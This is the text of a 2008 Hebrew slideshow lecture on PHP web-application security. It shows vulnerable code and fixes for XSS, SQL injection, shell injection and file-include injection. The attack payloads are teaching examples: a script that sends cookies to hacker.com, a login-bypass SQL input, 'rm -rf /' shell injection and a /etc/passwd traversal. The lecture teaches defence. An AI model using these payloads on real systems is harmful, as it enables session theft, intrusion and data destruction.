Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

PHP ואבטחה - חלק ראשון

3,732 views

Published on

הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.

A lecture in Hebrew about PHP and security from a meeting of the Israeli PHP User Group.

Published in: Technology
  • Be the first to comment

PHP ואבטחה - חלק ראשון

  1. 1. ‫, אפליקציות ווב ואבטחה‬PHP I ‫חלק‬ ‫שחר עברון‬ .Copyright © 2007, Zend Technologies Inc
  2. 2. ‫מי? מה? מתי?‬ ‫אבטחה ב- ‪ ,web‬וב- ‪ PHP‬במיוחד, היא נושא טעון‬ ‫•‬ ‫‪ ‬מצד אחד, ה- ‪ web‬מכיל הרבה מאוד מידע, שחלק גדול ממנו הוא‬ ‫רגיש / אישי / בעל ערך )כזה שמשתלם לגנוב אותו(‬ ‫‪ ‬מצד שני, ה- ‪ web‬הוא סוג של ”מערב פרוע“ שבו אין חוקים והכל‬ ‫יכול לקרות‬ ‫‪ PHP ‬היא אחת השפות הפופולריות ביותר ב- ‪ ,web‬בייחוד אצל‬ ‫מתכנתים מתחילים שפחות מודעים לסכנות‬‫‪ ‬רוב האפליקציות שנכתבות ב- ‪ PHP‬הם תוכנה חופשית. לכן, קל יותר‬ ‫לאתר פרצות אבטחה‬ ‫‪ ‬בעבר, היו מספר נסיונות )לא מאוד מוצלחים( לפתור בעיות אבטחה‬ ‫ברמת השפה‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫2 |‬
  3. 3. ‫כללים בסיסיים‬
  4. 4. ‫מה זה אבטחה ובשביל מה זה טוב?‬‫בשביל לפתור בעיות אבטחה, חשוב קודם כל להבין מה זה‬ ‫•‬ ‫בדיוק ”בעיות אבטחה“:‬ ‫אובדן פוטנציאלי של מידע רגיש‬ ‫‪‬‬ ‫אובדן פוטנציאלי של שעות עבודה‬ ‫‪‬‬ ‫אובדן פוטנציאלי של ‪uptime‬‬ ‫‪‬‬ ‫== אובדן פוטנציאלי של רווח‬ ‫‪‬‬‫אבטחה היא אוסף של אמצעים שעלינו לנקות ע“מ למנוע‬ ‫•‬ ‫או לצמצם אובדן פוטנציאלי של רווח‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫4 |‬
  5. 5. ‫גישה נכונה לאבטחת אפליקציות ווב‬ ‫אפליקציה לעולם לא תהיה מאובטחת ב-%001‬ ‫•‬ ‫‪ ‬וגם אם כן, זו תהיה טעות קונספטואלית לחשוב ככה...‬‫גישת עומק – נקיטה של מספר אמצעים חופפים כדי להשיג‬ ‫•‬ ‫אבטחה טובה יותר‬ ‫מודעות למה שאנחנו לא מודעים אליו‬ ‫•‬ ‫‪ ‬היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד %001‬ ‫מאובטח‬ ‫• == ארכיטקטורה יותר חשובה מאבטחה!‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫5 |‬
  6. 6. ‫לעולם אסור לבטוח במידע חיצוני!‬ ‫אבל מה זה בדיוק מידע חיצוני?‬ ‫•‬ ‫‪GET, POST, COOKIE‬‬ ‫‪‬‬ ‫‪FILES, SERVER‬‬ ‫‪‬‬ ‫‪ ,ENV‬בסיס נתונים, קבצים על הדיסק ‬ ‫‪‬‬ ‫“אם יש ספק – אין ספק!“‬ ‫‪‬‬ ‫מה עושים עם מידע חיצוני?‬ ‫•‬ ‫‪ ‬סינון – ‪ ,filtering‬בדיקת תקינות - ‪validation‬‬ ‫• רשימה לבנה – ‪ – whitelisting‬לדוגמה ‪ HTML Tags‬מותרים‬‫• רשימה שחורה – ‪ – blacklisting‬לדוגמה מילים אסורות בפורום‬ ‫‪ ‬חילוּף - התאמה לפורמט נדרש - ‪escaping‬‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫6 |‬
  7. 7. ‫סביבת ‪ PHP‬מאובטחת‬
  8. 8. ‫‪display_errors‬‬ ‫בפיתוח: ‪On‬‬ ‫•‬ ‫‪ ‬קוד נקי לחלוטין משגיאות‬ ‫‪ ‬הודעות ‪ NOTICE‬מעידות לעיתים קרובות על ”חורי‬ ‫אבטחה“ )לדוגמה: הודעות על משתנים לא מאותחלים(‬ ‫בזמן ריצה: ‪Off‬‬ ‫•‬ ‫‪ ‬מניעה של זליגת מידע פנימי אל המבקרים באתר‬ ‫‪ ‬זה לא נראה טוב ;-(‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫8 |‬
  9. 9. ‫‪register_globals‬‬ ‫כאשר פועל, ‪ PHP‬ירשום משתנים ב-‪ global scope‬באופן‬ ‫•‬ ‫אוטומטי לכל משתנה ‪ GET, POST, COOKIE‬וכו.‬ ‫לא נמצא בשימוש רב בשנים האחרונות )מכובה כברירת‬ ‫•‬ ‫מחדל מאז 2.4( אבל עדיין אפשר למצוא אפליקציות‬ ‫ש“סומכות“ על ‪.register_globals‬‬‫פותח פרצות אבטחה פוטניאליות רבות – מאפשר ”הזרקה“‬ ‫•‬ ‫של משתנים לתוך ה- ‪global namespace‬‬ ‫‪ ‬אם חייבים להתשמש – חובה לאתחל את כל המשתנים‬ ‫)‪(! E_NOTICE‬‬ ‫הרגל רע גם מסיבות אחרות:‬ ‫•‬ ‫‪ ‬קוד לא נייד )‪(portable‬‬ ‫‪ Deprecated ‬ב- 0.6 ‪PHP‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫9 |‬
  10. 10. ‫‪magic_quotes_gpc‬‬‫אם מופעל, ‪ PHP‬יוסיף לוכסן )‪ (backslash‬לפני כל גרש )(,‬ ‫•‬‫גרשיים )”(, לוכסן אחורי )( ו- ‪ null‬שנכנסים ב- ‪GET, POST‬‬ ‫ו- ‪.COOKIE‬‬ ‫“פיצר“ שהיה אמור למנוע ‪ SQL Injections‬ברמת השפה‬ ‫•‬ ‫בפועל, מספק פתרון חלקי ביותר‬ ‫•‬ ‫‪ ‬אין תמיכה בקידודים שונים‬ ‫‪ ‬אין תמיכה בכל בסיסי הנתונים השונים‬ ‫‪ ‬תמיד עדיף להשתמש בפונקציית ‪ escaping‬ייעודית‬ ‫יש עוד סיבות לכבות חוץ מאבטחה‬ ‫•‬ ‫‪ ‬רע מבחינת ביצועים‬ ‫‪ ‬לא פורטבילי, ייבוטל ב- 0.6 ‪PHP‬‬ ‫בקיצור, לא להתבסס על ‪magic_quotes_gpc‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫01 |‬
  11. 11. ‫*_‪allow_url‬‬ ‫‪allow_url_fopen‬‬ ‫•‬‫‪ ‬מאפשרת פתיחה של קבצים מרוחקים בעזרת ה- ‪stream wrappers‬‬ ‫הנתמכים )בד"כ ‪ HTTP, FTP, SSH‬וכו( בפונקציות התומכות בכך‬ ‫)‪ ,fopen, file_get_contents‬ועוד רבות(.‬ ‫‪ ‬פועל כברירת מחדל, כדאי בהחלט לכבות אם לא צריך‬ ‫‪allow_url_include‬‬ ‫•‬ ‫מאפשרת הרצה של קוד ‪ PHP‬מרוחק דרך ‪stream wrappers‬‬ ‫‪‬‬ ‫קיים מאז 2.5 ‪PHP‬‬ ‫‪‬‬ ‫כבוי כברירת מחדל‬ ‫‪‬‬ ‫‪Code injection waiting to happen‬‬ ‫‪‬‬ ‫איזה סיבה לעזאזל יש למישהו להפעיל דבר כזה?!?!‬ ‫‪‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫11 |‬
  12. 12. ‫התקפות הזרקה‬Injection Attacks
  13. 13. ‫‪Cross-Site Scripting - XSS‬‬ ‫הזרקה של קוד ‪client-side‬‬ ‫•‬ ‫‪HTML ‬‬ ‫‪CSS ‬‬ ‫‪JavaScript ‬‬ ‫אחת החולשות הנפוצות ביותר‬ ‫•‬‫התוקף שותל קוד זדוני שיפורש ויוצג / יופעל ע“י הדפדפן‬ ‫•‬ ‫של הקורבן‬ ‫יכולה לשמש כ“מקפצה“ להתקפות נוספות – השחתה,‬ ‫•‬ ‫‪ ,phishing, session hijacking‬גניבת סיסמאות וכו‬ ‫קבועה – ‪ persistent‬לעומת זמנית – ‪non-persistent‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫31 |‬
  14. 14. ‫ - דוגמה‬XSS XSS -‫כל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל‬ •<body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET[q]) ? $_GET[q] : ); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET[q])): ?> <h2>Search results for "<?php echo $_GET[q]; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul><?php endif; ?></body> | J an 19, 2008 ‫ ואבטחה‬PHP | 14
  15. 15. ‫ - דוגמה‬XSS :JavaScript ‫ בעזרת הזרקת קוד‬session ID ‫גניבת‬ • <script>alert(document.cookie);</script> <script>i=new Image(); i.src=http://hacker.com/owned.php? + document.cookie;</script> | J an 19, 2008 ‫ ואבטחה‬PHP | 15
  16. 16. ‫‪Cross-Site Scripting - XSS‬‬‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪htmlspecialchars() ‬‬ ‫‪htmlentities() ‬‬‫במקרים בהם רוצים להרשות ‪ ,HTML‬חובה לסנן את הקלט‬ ‫•‬ ‫לפי "רשימה לבנה"‬‫‪ ‬להרשות רק תגים מסויימים - לדוגמה ‪strong, em, u, div, a, span‬‬ ‫‪ ‬להרשות רק ‪ attributes‬מסוימים - לדוגמה ‪ href‬ולא ‪style‬‬ ‫‪ ‬יש ספריות מוכנות לסינון ‪HTML‬‬ ‫• ‪http://htmlpurifier.org‬‬ ‫‪ ‬אפשר לבצע לבד בקלות בעזרת ‪ tidy‬או ‪DOM‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫61 |‬
  17. 17. ‫ – דוגמה מתוקנת‬XSS ‫ לפני הדפסה‬htmlspecialchars -‫שימוש ב‬ • Search for: <input type="text" name="q" value="<?php echo (isset($_GET[q]) ? htmlspecialchars($_GET[q], ENT_QUOTES) : ); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET[q])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET[q]); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul><?php endif; ?> | J an 19, 2008 ‫ ואבטחה‬PHP | 17
  18. 18. ‫‪SQL Injection‬‬‫הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס‬ ‫•‬ ‫הנתונים ויפורש שם כקוד ‪SQL‬‬ ‫יכול להוות בסיס לפעילויות שונות, לדוגמה:‬ ‫•‬ ‫עקיפה של סיסמאות ושינוי הרשאות‬ ‫‪‬‬ ‫שינוי נתונים‬ ‫‪‬‬ ‫השחתה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫מחיקה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬‫בעיה נפוצה מאוד – הרבה מאוד אפליקציות ווב מעבירות‬ ‫•‬ ‫קלט מהמשתמש אל בסיס הנתונים‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫81 |‬
  19. 19. ‫ – דוגמה‬SQL Injection ‫ ללא חילוף / בדיקה‬SQL -‫שליחה של מידע חיצוני כחלק מ‬ •$username = $_POST[username];$password = $_POST[password];$sql = "SELECT 1 FROM users " . "WHERE user = $username AND password = MD5($password)";$res = mysql_query($sql); :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ עקיפה של מנגנון הסיסמה‬username= OR = password=) OR MD5() = MD5( ‫, שינוי נתונים‬DOS ,‫ ניתן לבצע גם השחתה של בסיס הנתונים‬ .‫וסיסמאות ועוד‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 19
  20. 20. SQL Injection:‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת חילוף‬ • ‫ ייעודיות של בסיס הנתונים‬escaping ‫ פונקציות‬ mysql_real_escape_string • pg_escape_string • ‫• וכו‬ Casting to integer / float  PDO-<quote()  !‫ לא טוב מספיק‬addslashes()  Prepared Statements • PDO, MySQLi  ‫ בהרבה מקרים עדיף גם מבחינת ביצועים‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 20
  21. 21. ‫ – קוד תקין‬SQL Injection mysql – ‫חילוף‬ •$con = mysql_connect(....);$username = mysql_real_escape_string($_POST[username]);$password = mysql_real_escape_string($_POST[password]);$sql = "SELECT 1 FROM users " . "WHERE user = $username AND password = MD5($password)";$res = mysql_query($sql); PDO – ‫חילוף‬ •$pdo = new PDO("mysql:dbname=mydb", user, password);$username = $pdo->quote($_POST[username]);$password = $pdo->quote($_POST[password]); | J an 19, 2008 ‫ ואבטחה‬PHP | 21
  22. 22. ‫ – קוד תקין‬SQL Injection Integer -‫המרה ל‬ •$user_id = (int) $_GET[user_id];$sql = "SELECT * FROM users WHERE id = $user_id"; Prepared statement - PDO •$pdo = new PDO("mysql:dbname=mydb", user, password);$stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)");$result = $stmt->execute(array( username => $username, password => $password)); | J an 19, 2008 ‫ ואבטחה‬PHP | 22
  23. 23. ‫‪Shell Command Injection‬‬ ‫הזרקה של קוד אל "מערכת ההפעלה" תוך ניצול של‬ ‫•‬ ‫פקודות ‪ PHP‬שמריצות פקודות מערכת‬ ‫‪ ‬אופרטור ‪(``) backtick‬‬ ‫‪ ‬משפחת )(‪exec‬‬‫לא נפוץ מאוד – אבל חשוב מאוד להיזהר כאשר מכניסים‬ ‫•‬ ‫פרמטרים לתוך פקודות אלו, מפני שהסכנות גדולות מאוד‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫32 |‬
  24. 24. ‫ - דוגמה‬Shell Injection ‫שימוש במידע חיצוני בפקודות מערכת‬ •// Get a listing of a public directory$folder = $_GET[path];echo <pre>;passthru("ls -l /ftp/public/$folder");echo </pre>; :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ מחיקה של כל הקבצים שיש לשרת גישה אליהם‬path=foo; rm -rf / :Denial of Service path=foo; sleep 315360000 ‫ ...בעיקרון ניתן להריץ כמעט כל פקודת מערכת‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 24
  25. 25. ‫‪Shell Command Injection‬‬‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪escapeshellarg() ‬‬ ‫‪escapeshellcmd() ‬‬ ‫‪ ‬ההבדל ביניהם – השניה לא מחליפה רווחים‬‫אם מכניסים קלט מהמשתמש לתוך פקודות מערכת, כדאי‬ ‫•‬ ‫מאוד להשתמש ב- ‪ whitelist filtering‬ובווידוא שהקלט‬ ‫תקין‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫52 |‬
  26. 26. ‫ – קוד תקין‬Shell Injection ‫חילוף – פרמטר בודד‬ •$folder = escapeshellarg($_GET[path]);echo <pre>;passthru("ls -l /ftp/public/$folder");echo </pre>; ‫חילוף – כל הפקודה‬ •$cmd = escapeshellcmd("ls -l /ftp/public/$folder");echo <pre>;passthru($cmd);echo </pre>; | J an 19, 2008 ‫ ואבטחה‬PHP | 26
  27. 27. ‫ – קוד תקין‬Shell Injection ‫סינון לפי רשימה לבנה‬ •// White-list filtering:$allowed_paths = array( videos, images, music, books, uploads);if (in_array($_GET[path], $allowed_paths)) { $folder = $_GET[path]; echo <pre>; passthru("ls -l /ftp/public/$folder"); echo </pre>;} | J an 19, 2008 ‫ ואבטחה‬PHP | 27
  28. 28. ‫‪PHP Code Injection‬‬ ‫הזרקה של קוד ‪ PHP‬לתוך התוכנית‬ ‫•‬ ‫פונקציות שצריך לשים אליהם לב:‬ ‫•‬ ‫‪ ‬קריאות ל- ‪ include‬או ‪ require‬עם שם קובץ משתנה‬ ‫• רגיש בעיקר כש- ‪allow_url_include=On‬‬ ‫‪eval() ‬‬ ‫‪ preg_replace() ‬עם ‪/e‬‬ ‫‪create_function() ‬‬‫‪ ‬כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ, חשוב מאוד‬ ‫לבצע ‪ validation‬ו- ‪white-list filtering‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫82 |‬
  29. 29. ‫‪ - PHP Code Injection‬דוגמה‬ ‫קריאת קבצים ע“י ניצול ‪include‬‬ ‫•‬‫;]‪$tpl = $_GET[template‬‬‫;‪include templates/ . $tpl‬‬ ‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה:‬ ‫•‬ ‫‪ ‬קבלת רשימה של כל המשתמשים במערכת ההפעלה:‬ ‫‪template=../../../../../../../../etc/passwd‬‬ ‫אם ‪ allow_url_include‬מופעל, קוד זה מאפשר‬ ‫•‬ ‫הרצה של קוד ‪ PHP‬שרירותי על השרת‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫92 |‬
  30. 30. ‫ – קוד תקין‬PHP Code Injection :‫המנעות ע“י סינון לפי רשימה לבנה‬ •$templates = array( blue => templates/blue.phtml, aqua => templates/aqua.phtml, ugly => templates/ugly.phtml);$tpl = (isset($templates[$_GET[template]]) ? $templates[$_GET[template]] : templates/blue.phtml);include $tpl; ‫באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק‬ • ‫ וכו‬include, eval ‫מפקודות כמו‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 30
  31. 31. ‫סיכום – התקפות הזרקה‬ ‫התקפות הזרקה הם כנראה הנפוצות ביותר ב- ‪web‬‬ ‫•‬ ‫‪ ‬החדשות הטובות: יחסית קל לאתר ולפתור אותן ‬‫כל התקפות ההזרקה דומות באופיין, וגם באופן הטיפול בהן‬ ‫•‬ ‫"דע מאין בא ה- ‪ data‬ולאן הוא הולך“‬ ‫•‬ ‫‪ ‬האם אפשר לבטוח במקור הנתונים?‬ ‫‪ ‬מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?‬ ‫טיפול בהתקפות הזרקה ע“י סינון קלט טוב רק במקרים‬ ‫•‬ ‫מסוימים‬ ‫‪ ‬בד“כ חילוף )‪ (output escaping‬עדיף‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫13 |‬
  32. 32. ‫שאלות?‬
  33. 33. ‫בחלק ‪II‬‬ ‫התקפות ‪Session‬‬ ‫•‬ ‫‪Session Injection ‬‬ ‫‪Session Hijacking ‬‬ ‫טעויות לוגיות ותכנותיות‬ ‫•‬ ‫‪CSRF ‬‬ ‫‪ ‬חשיפת קבצים סטטיים‬ ‫גישות ואמצעי אבטחה כלליים‬ ‫•‬ ‫אבטחה בסביבת ‪shared hosting‬‬ ‫•‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫33 |‬
  34. 34. ‫תודה רבה‬ ‫ושנה טובה!‬

×